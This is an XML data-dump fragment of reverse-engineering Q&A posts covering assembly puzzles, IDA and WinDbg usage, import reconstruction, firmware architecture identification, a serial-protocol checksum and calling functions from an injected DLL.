  <row Id="20727" PostTypeId="2" ParentId="20718" CreationDate="2019-02-26T22:29:56.463" Score="5" Body="&lt;p&gt;This appears to be a 32 bit multiplication implemented on a 16 bit architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input numbers are &lt;code&gt;dx:ax&lt;/code&gt; and &lt;code&gt;cx:bx&lt;/code&gt;, result in &lt;code&gt;dx:ax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;xchg&lt;/code&gt;s make the code confusing but if you play it through you notice it does a bunch of a seperate multiplications with the high and low 16 bit of the input numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I had a hunch it may be 32 bit multiplication so I tried to understand how that would look with the input numbers split and the result also split and approach the problem from the other way round.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the above inputs, one can deduce the following formulas:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dx:ax = (dx &amp;lt;&amp;lt; 16) + ax&#xA;cx:bx = (cx &amp;lt;&amp;lt; 16) + bx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then just multiple them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(dx:ax * cx:bx) = (dx &amp;lt;&amp;lt; 16)*(cx &amp;lt;&amp;lt; 16)  + (dx &amp;lt;&amp;lt; 16)*bx + ax*(cx &amp;lt;&amp;lt; 16) + ax*bx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you take a look, we have 3 additions here instead of two. The reason is that multiplying the upper parts overflows 32 bit so the first multiplicant is dropped in the above code silently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That leaves us&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(dx:ax * cx:bx) = (dx &amp;lt;&amp;lt; 16)*bx + ax*(cx &amp;lt;&amp;lt; 16) + ax*bx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if you think about bitshifts and multiplications &lt;strike&gt;in this case&lt;/strike&gt; &lt;em&gt;every case, as a bitshift is nothing more than a multiplication by powers of 2&lt;/em&gt;, they commute meaning this is equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(dx:ax * cx:bx) = (dx*bx &amp;lt;&amp;lt; 16) + (ax*cx &amp;lt;&amp;lt; 16) + ax*bx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then we can split it back into 16 bit easily:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dx = dx*bx + ax*cx&#xA;ax = ax*bx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and there you have it, the result of the multiplication of two 32 bit numbers given as 16 bit words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this seems to match what the code is doing (safe for bx cx swapped possibly, you may want to have a closer look on that), so it just seems to multiply numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Armed with that knowledge and the response to your previous question by Igor I found this source code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/gandrewstone/GameMaker/blob/master/tools/BORLANDC/CRTL/CLIB/F_LXMUL.ASM&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/gandrewstone/GameMaker/blob/master/tools/BORLANDC/CRTL/CLIB/F_LXMUL.ASM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which confirms the finding.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastEditorUserId="23277" LastEditDate="2019-02-26T22:42:16.960" LastActivityDate="2019-02-26T22:42:16.960" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20730" PostTypeId="2" ParentId="18361" CreationDate="2019-02-27T15:18:21.707" Score="0" Body="&lt;p&gt;If the module does not have symbols loaded, set the symbol path to an empty folder &lt;code&gt;.sympath c:\empty&lt;/code&gt; and issue &lt;code&gt;bm moduleName!*&lt;/code&gt;. With no symbols available, windbg will set breakpoint only on the exported functions. Then set the symbol path to the previous value.&lt;/p&gt;&#xA;" OwnerDisplayName="user18424" LastActivityDate="2019-02-27T15:18:21.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20731" PostTypeId="1" CreationDate="2019-02-27T15:22:05.833" Score="1" ViewCount="912" Body="&lt;p&gt;Is it possible to find out all instances of static initialization in a elf dynamic library.&#xA;I can dump the array of function pointers in .init_array section via objdump command like this.&#xA;&lt;code&gt;objdump -s -j .init_array &amp;lt;libname.so&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to map these function pointers back to function names. I have unstripped library with debug symbols.&lt;/p&gt;&#xA;" OwnerUserId="27618" LastActivityDate="2020-11-09T17:10:46.430" Title="Find functions names in .init_array section in unstripped library" Tags="|elf|objdump|gcc|debugging-symbols|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20732" PostTypeId="1" CreationDate="2019-02-27T16:05:54.397" Score="0" ViewCount="276" Body="&lt;p&gt;I have this function, named &lt;code&gt;__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6__initEPKcm&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the relevant assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rdi, [rbp+var_A80]&#xA;mov     rsi, [rbp+var_A88] &#xA;mov     rdx, [rbp+string_length]&#xA;call    __ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6__initEPKcm &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I've noticed by looking at the registers before and after calling the function, the address of RSI is incremented by string_length, but I still have no idea what RDI is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another weird thing is that the string length reported by the register is 0x046, but the address is incremented by 0x040.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RDI is &lt;code&gt;00007FFEEFBFF240&lt;/code&gt; before the call, &lt;code&gt;0000000100400040&lt;/code&gt; after it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA is not letting me debug the function, as it throws SIGBUS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am slowly reversing the function, i'll update here with progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RDI is compared with 0FFFFFFFFFFFFFFF0h (Why?)&lt;/p&gt;&#xA;" OwnerUserId="26890" LastActivityDate="2019-02-27T16:05:54.397" Title="What is this function doing?" Tags="|ida|binary-analysis|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20733" PostTypeId="1" AcceptedAnswerId="20740" CreationDate="2019-02-27T17:14:20.620" Score="0" ViewCount="713" Body="&lt;p&gt;I have a function that seems to calculate the length of a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made this type declaration and it does kind of work as IDA now flags the string correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;__int64 __fastcall strlen(char strlen_string);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, RAX seems to hold the length of the string. But doing &lt;code&gt;strlen@&amp;lt;rax&amp;gt;&lt;/code&gt; tells me that 'location rax is not allowed here'. Also, I'd like to flag exactly where the length is being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rdi, rcx ; strlen_string&#xA;call    strlen&#xA;mov     [rbp+var001], rax  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is what I want to have with the new type declaration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rdi, rcx ; strlen_string&#xA;call    strlen&#xA;mov     [rbp+var001], rax ; string_length&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I do that? Is it even possible? &lt;/p&gt;&#xA;" OwnerUserId="26890" LastEditorUserId="26890" LastEditDate="2019-02-27T17:26:23.537" LastActivityDate="2019-02-28T10:07:06.793" Title="How do I set the return type for this type declaration?" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20734" PostTypeId="1" AcceptedAnswerId="20736" CreationDate="2019-02-27T18:56:30.097" Score="1" ViewCount="128" Body="&lt;p&gt;I have stumbled upon this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public _oret&#xA;__common:0000000100018000 _oret:                             &#xA;&#xA;__common:0000000100018000 sub     [rdi+4Fh], al&#xA;__common:0000000100018003 db      4Fh&#xA;__common:0000000100018003 and     [rdi+4Fh], r10b&#xA;__common:0000000100018008 push    rdx&#xA;__common:0000000100018009 and     [r8], rsp&#xA;__common:000000010001800C db      40h, 46h, 43h&#xA;__common:000000010001800C xor     r14d, [r14]&#xA;__common:0000000100018012 xor     eax, 0A20h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is this doing exactly? My RAX points here, but I don't understand anything about what the purpose of this is.&lt;/p&gt;&#xA;" OwnerUserId="26890" LastActivityDate="2019-03-02T10:08:48.513" Title="What is this assembly in the `__common` section doing?" Tags="|assembly|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20736" PostTypeId="2" ParentId="20734" CreationDate="2019-02-27T22:59:33.783" Score="3" Body="&lt;p&gt;it is easily discoverable if you look at the bytes in a dump window or hex editor   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or if you don't have  the bytes but only the disassembly in text form&#xA;you can use some assembler like keystone to assemble it and dump&lt;br&gt;&#xA;the bytes as printable characters &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cat ge0snow.py&#xA;from keystone import *&#xA;import binascii&#xA;&#xA;code = [&#xA;    &quot;sub [rdi+4Fh], al&quot;,&#xA;    &quot;db 04Fh&quot;,&#xA;    &quot;and [rdi+4Fh], r10b&quot;,&#xA;    &quot;push rdx&quot;,&#xA;    &quot;and [r8], rsp&quot;,&#xA;    &quot;db 040h&quot;,&#xA;    &quot;db 046h&quot;,&#xA;    &quot;db 043h&quot;,&#xA;    &quot;xor r14d, [r14]&quot;,&#xA;    &quot;xor eax, 0A20h&quot;,&#xA;]&#xA;ks = Ks(KS_ARCH_X86,KS_MODE_64)&#xA;for i in range(0,len(code),1):&#xA;    if( code[i][:2] == &quot;db&quot;):&#xA;        print (binascii.a2b_hex(code[i][4:6])),&#xA;    else:&#xA;        foo = ks.asm(code[i])&#xA;        for j in foo[0]:&#xA;            print chr(int(j)),&#xA;&#xA;&#xA;C:\&amp;gt;python ge0snow.py&#xA;( G O O D   W O R I !   @ F C E 3 6 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-02-27T22:59:33.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20737" PostTypeId="2" ParentId="20734" CreationDate="2019-02-27T23:32:48.673" Score="1" Body="&lt;p&gt;The &lt;code&gt;__common&lt;/code&gt; section seems to be typical from Mach-O format. It contains uninitialized external globals, similar to &lt;code&gt;static&lt;/code&gt; variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, it holds a constant string as blabb showed it. But, you should better display it as a string (and not as code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CodeFootprint/Articles/MachOOverview.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Overview of the Mach-O Executable Format&lt;/a&gt;, from the Apple &quot;&lt;a href=&quot;https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CodeFootprint/CodeFootprint.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Introduction to Code Size Performance Guidelines&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2019-03-02T10:08:48.513" LastActivityDate="2019-03-02T10:08:48.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20740" PostTypeId="2" ParentId="20733" CreationDate="2019-02-28T10:07:06.793" Score="0" Body="&lt;p&gt;Specifying argument locations syntax is only available in the specific &lt;code&gt;__usercall&lt;/code&gt; pseudo calling convention, which IDA supports precisely for that use case, where no other calling convention fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as mentioned in the comments, setting IDA's return value location has little impact, and it is impossible to have IDA automatically set a comment for the returned value (only arguments support that). You can, however, write a short IDAPython script for that.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-02-28T10:07:06.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20742" PostTypeId="2" ParentId="4294" CreationDate="2019-02-28T15:01:30.533" Score="0" Body="&lt;p&gt;This is a kind of hackish method, but works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to run Rohitab API Monitor. This will monitor process creations. If a process is started you will be notified and able to catch its parameter and more :) &lt;/p&gt;&#xA;" OwnerUserId="27633" LastActivityDate="2019-02-28T15:01:30.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20743" PostTypeId="1" AcceptedAnswerId="20745" CreationDate="2019-02-28T15:13:20.567" Score="2" ViewCount="1907" Body="&lt;p&gt;Mostly in the tutorials they are telling to use this tool and that tool to magically apply something and make XY work &amp;amp; run. I would love to know how these things are working, how is import reconstruction done generally?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in my case I would need dump a malware from memory, where it's manual mapped, but these import reconstruction tools usually does not support such a thing, this is why I want to learn what it is at all. &lt;em&gt;(I know that there are workarounds how to make them work, but I want to know the logic behind imp reccing)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, back to the question. Are they analyzing the code itself for calls which are residing in external modules? Or are they using some other/existing/runtime table which usually unveil the original modules/procs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find any good docs/description about it &lt;em&gt;(except for whole the codebase of Scylla)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="27633" LastActivityDate="2019-02-28T16:56:29.087" Title="What does Scylla/ImpRec are doing? How to reconstruct imports?" Tags="|import-reconstruction|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20745" PostTypeId="2" ParentId="20743" CreationDate="2019-02-28T16:56:29.087" Score="3" Body="&lt;p&gt;Different import reconstruction tools employ different heuristics in order to find the method used by the malware/packer because manually implemented import tables can be achieved in multiple different approaches (some without holding import tables at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most import reconstruction tools usually have multiple heuristic choices, even. You can read about the different heuristics and their meaning in those tools' documentation and/or files. ImpRec's can be found with it as a text file while Scylla's can be interpreted from it's source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, an import reconstruction tool needs to gather two pieces of information for every imported function:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Where is that imported function being called/referenced throughout the fixed binary. This may be either a pointer variable pointing to an imported function, or a piece of code that needs to be modified based on the imported function's address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the binary creates a manual import table as part of it's execution, this involves iterating it until it's end is reached. Finding such manual import table is often left to the user, by either pointing to it directly by address or inferring it from the references done by the binary itself, as calls/jumps, after the binary is loaded and the OEP is reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the binary avoids an import table, all imports must be inferred by analyzing the code starting at OEP and recognizing indirect calls or calls made using a stored address. An import reconstruction tool may validate the target address is indeed an imported function.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Which imported function is actually being called. More often, this is the easier part of the two however it can be further complicated by packers. To resolve the imports the import reconstruction tool must obviously know to which function must every reference resolve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those jumps/calls/ point to the relevant imported functions in the loaded library, resolving them is quite straightforward - enumerate all imports in the target module and match the addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, however, the imported functions are being copied (entirely or partially) to an allocated memory region, figuring out what function is actually called may be a little more difficult. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-02-28T16:56:29.087" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20746" PostTypeId="1" CreationDate="2019-02-28T23:07:11.347" Score="2" ViewCount="133" Body="&lt;p&gt;I am currently investigating GSL touch-screen controllers firmwares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A firmware example can be found here : &lt;a href=&quot;https://github.com/onitake/gsl-firmware/blob/master/firmware/4good/t803i/silead_ts.fw&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/onitake/gsl-firmware/blob/master/firmware/4good/t803i/silead_ts.fw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case the link goes down, here is a random relevant extract of said file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04 60 03 9A 08 E0 C7 81 00 00 E8 81 73 26 08 C2 6C 25 00 DA 6F 00 80 00 01 60 00 82 7F 25 08 D8 01 40 5B 9A 01 20 03 98 00 00 80 81 00 00 00 01 00 00 00 01 00 00 00 01 0C 40 73 9A 6C 25 20 DA 00 20 10 96 02 E0 2A 83 6C 25 00 D8 B6 63 10 DA 0C 40 5B 9A 07 60 33 9B 01 E0 02 96 03 E0 A2 80 F9 FF BF 04 20 65 20 DA C0 23 00 C2 00 60 A0 80 07 00 80 02 01 30 10 82 00 22 00 C2 00 60 A0 80 05 00 80 22 40 25 00 C2 01 30 10 82 2C 25 20 C2 40 25 00 C2 00 60 A0 80 70 00 80 00 05 00 80 02 88 22 00 C2 01 60 30 9B 02 60 30 83 0D 40 00 82 1C 25 20 C2 07 00 00 03 44 62 C0 81 00 00 00 01 00 00 00 01 98 BF E3 9D 08 23 00 C2 01 60 00 82 FC 22 00 E0 01 00 A4 80 1E 00 80 0A 01 20 10 A4 F8 22 00 C2 01 80 A4 80 17 00 80 38 08 23 00 C2 02 20 2C 83 68 60 00 A2 EC 2F 00 C2 12 00 10 92 00 60 A0 80 01 A0 04 A4 04 00 80 02 10 00 10 90 00 40 C0 9F 00 00 00 01 1C 00 00 03 71 00 80 00 00 62 10 98 0C 40 04 DA 04 62 10 82 01 40 24 DA 0C 40 24 C0 F8 22 00 C2 01 80 A4 80 F0 FF BF 08 68 60 04 A2 08 23 00 C2 FF 3F 04 A0 E3 FF BF 10 01 60 00 82 00 23 00 C2 01 60 00 82 F8 22 00 E4 01 80 A4 80 20 00 80 0A 1A A0 5C A6 01 20 10 A0 08 23 00 C2 01 00 A4 80 15 00 80 18 02 E0 2C 83 04 60 00 A2 EC 2F 00 C2 10 00 10 90 00 60 A0 80 01 20 04 A0 04 00 80 02 12 00 10 92 00 40 C0 9F 72 00 80 00 00 00 00 01 1C 00 00 03 00 62 10 98 0C 40 04 DA 68 62 10 82 01 40 24 DA 0C 40 24 C0 08 23 00 C2 01 00 A4 80 F0 FF BF 08 04 60 04 A2 00 23 00 C2 FF BF 04 A4 01 60 00 82 01 80 A4 80 E4 FF BF 1A E6 FF 04 A6 08 E0 C7 81 00 00 E8 81 98 BF E3 9D 48 25 00 C2 00 61 88 80 00 20 10 AC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried disassembling this file for quite a few architectures, but the result does not look like coherent machine code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Which architecture should I use to disassemble this firmware?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some info I found:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Endianness should be flipped. This way, the strings at the end are readable.&lt;/li&gt;&#xA;&lt;li&gt;There are a lot of null bytes, making me wonder if this is even executable code. If it is not, what else could it be? It is supposedly the firmware.&lt;/li&gt;&#xA;&lt;li&gt;The beginning of the file looks like configuration data. Looking at offset e.g. 0x2000 seems more interesting&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dl.linux-sunxi.org/touchscreen/GSL1680.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dl.linux-sunxi.org/touchscreen/GSL1680.pdf&lt;/a&gt; Page 9: we learn the MCU has a 32-bit CPU&lt;/li&gt;&#xA;&lt;li&gt;There are a lot of recurring patterns, such as &quot;00 00 00 01&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Plot of the bytes occurrences (log scale). &quot;Rounds values&quot; (e.g. 0x40,0x60,0x80) appear much more. &lt;a href=&quot;https://i.stack.imgur.com/sm7Gd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sm7Gd.png&quot; alt=&quot;Byte occurences&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am hopping someone more experiences would recognize the machine code signature of the specific CPU.&lt;/p&gt;&#xA;" OwnerUserId="27637" LastActivityDate="2019-02-28T23:07:11.347" Title="Which architecture is this firmware?" Tags="|disassembly|firmware|firmware-analysis|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20747" PostTypeId="2" ParentId="18963" CreationDate="2019-03-01T02:43:26.210" Score="-1" Body="&lt;p&gt;I think I had a similar issue and I got it solved by making sure that the target program has executable permissions set. Something like this in your case&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chmod +x a.out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="27601" LastActivityDate="2019-03-01T02:43:26.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20748" PostTypeId="1" CreationDate="2019-03-01T04:31:54.623" Score="0" ViewCount="136" Body="&lt;p&gt;I am using an old piece of hardware which uses an RS485 serial interface. I'm trying to simulate slave node data but I don't have any documentation on the protocol and unfortunately the hardware is not supported any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got numerous examples of master and slave data for which I've tried to reverse engineer the check sequence but I've not found a match for the algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Master to Slave examples&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A5&#xA;04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A9&#xA;06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB&#xA;08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Slave to Master examples&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;80 00 24 F4 67 1E A3 00 00 00 00 3F 00 FB E6 F9 81 BB 17 D1&#xA;84 00 00 00 00 00 00 00 00 00 00 00 00 D8 3D 62 FC 6C 7C 84&#xA;86 00 00 00 00 00 00 00 00 00 00 00 00 39 7A 9A 05 77 77 6B&#xA;88 02 02 02 02 02 02 02 02 00 00 00 00 29 9E EA 45 76 78 21&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's clear the first 15 bytes for Master to Slave and first 19 bytes for Slave to Master is the data and the last byte is used as the check sequence. You can see the protocol uses the first byte as an address with the associated reply setting the most significant bit, though the addressing doesn't determine the error check byte algorithm it is included as part of the calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach so far includes using the various online CRC and checksum calculators. I also tried to use reveng but have not managed to find a match. Any help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="27628" LastActivityDate="2019-03-01T04:31:54.623" Title="Reverse engineer 8 bit check sequence for old unkown protocol" Tags="|serial-communication|crc|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20749" PostTypeId="1" CreationDate="2019-03-01T18:03:44.087" Score="1" ViewCount="823" Body="&lt;p&gt;If I have injected my own DLL into an executable (a game specifically) which imports a DLL to draw its graphics, camera, etc. How can I go about calling the DLLs functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to find the executables functions and hook them/call them at will, but I'm having trouble wrapping my head around how to do the same thing for the DLL which has the real goodies I want to call/manipulate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using IDA Pro to decompile the executable to get a good sense of what's happening. I'm still a beginner at this stuff but I think the &lt;code&gt;dword_xxxx&lt;/code&gt; references is when the executable is calling DLL functions? Things like this for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tan1E.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tan1E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27646" LastEditorUserId="2147" LastEditDate="2019-03-03T12:17:39.930" LastActivityDate="2021-04-23T16:16:31.547" Title="Calling imported DLL functions from an injected DLL?" Tags="|ida|dll|call|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20750" PostTypeId="1" AcceptedAnswerId="20758" CreationDate="2019-03-01T18:25:09.030" Score="0" ViewCount="96" Body="&lt;p&gt;I am having some trouble understanding what this is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the commented pseudocode. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mightGetUserInput(&amp;amp;std::__1::cin, &amp;amp;userInput) ; this fills the buffer with the user input, naming is a bit weird, but I'm not sure how to improve it?&#xA;&#xA;if ( userInput &amp;amp; 1 ) ; wtf is this doing? IDA flags userInput as _BYTE&#xA;{&#xA;  v54 = &amp;amp;userInput;  // &#xA;  v55 = &amp;amp;userInput;  // This is literally junk. Has no use. Would be nice to clean this up but how?&#xA;  v56 = &amp;amp;userInput;  //&#xA;  length_of_userInput = *((_QWORD *)&amp;amp;userInput + 1); I have been able to only trigger this&#xA;}&#xA;else&#xA;{&#xA;  v51 = &amp;amp;userInput;  //&#xA;  v52 = &amp;amp;userInput;  // This is literally junk. Has no use. Would be nice to clean this up but how?&#xA;  v53 = &amp;amp;userInput;  //&#xA;  length_of_userInput = (signed int)userInput &amp;gt;&amp;gt; 1; No clue what this is doing&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the actual assembly if you prefer it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     [rbp+user_input], rcx&#xA;mov     rcx, [rbp+user_input]&#xA;movzx   edx, byte ptr [rcx]&#xA;and     edx, 1&#xA;cmp     edx, 0&#xA;jz ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: Someone in the comments asked for the disassembly of mightGetUserInput: &lt;a href=&quot;https://pastebin.com/zVF96bEK&quot; rel=&quot;nofollow noreferrer&quot;&gt;here it is&lt;/a&gt;. DISCLAIMER: This is the pseudocode generated by IDA. It's pretty ugly and big.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really know the size of userInput. It's either referred as void * or as __int64. If this is wrong (and can guide me through IDA, feel free to correct me).&lt;/p&gt;&#xA;" OwnerUserId="26890" LastEditorUserId="26890" LastEditDate="2019-03-01T20:02:50.887" LastActivityDate="2019-03-03T12:41:21.247" Title="Bitwise operation between byte and 1?" Tags="|ida|assembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20751" PostTypeId="2" ParentId="20749" CreationDate="2019-03-01T18:30:41.063" Score="1" Body="&lt;p&gt;I guess you need the base address of the loaded DLL to install your hooks.&#xA;You can simply call &lt;code&gt;GetModuleHandleA/W&lt;/code&gt; if the DLL is already loaded or &lt;code&gt;LoadLibraryA/W&lt;/code&gt; if the DLL is loaded later.&#xA;Once you get the base address, you have to add the RVA to this value, and you'll have the virtual address.&#xA;Or you can use &lt;code&gt;GetProcAddress&lt;/code&gt; to retrieve the virtual address of the exported functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your screenshot, I didn't get it sorry. But I can't see any call instruction. I guess this is a pointer store in a global value. Probably not related to a DLL.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-03-01T18:30:41.063" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
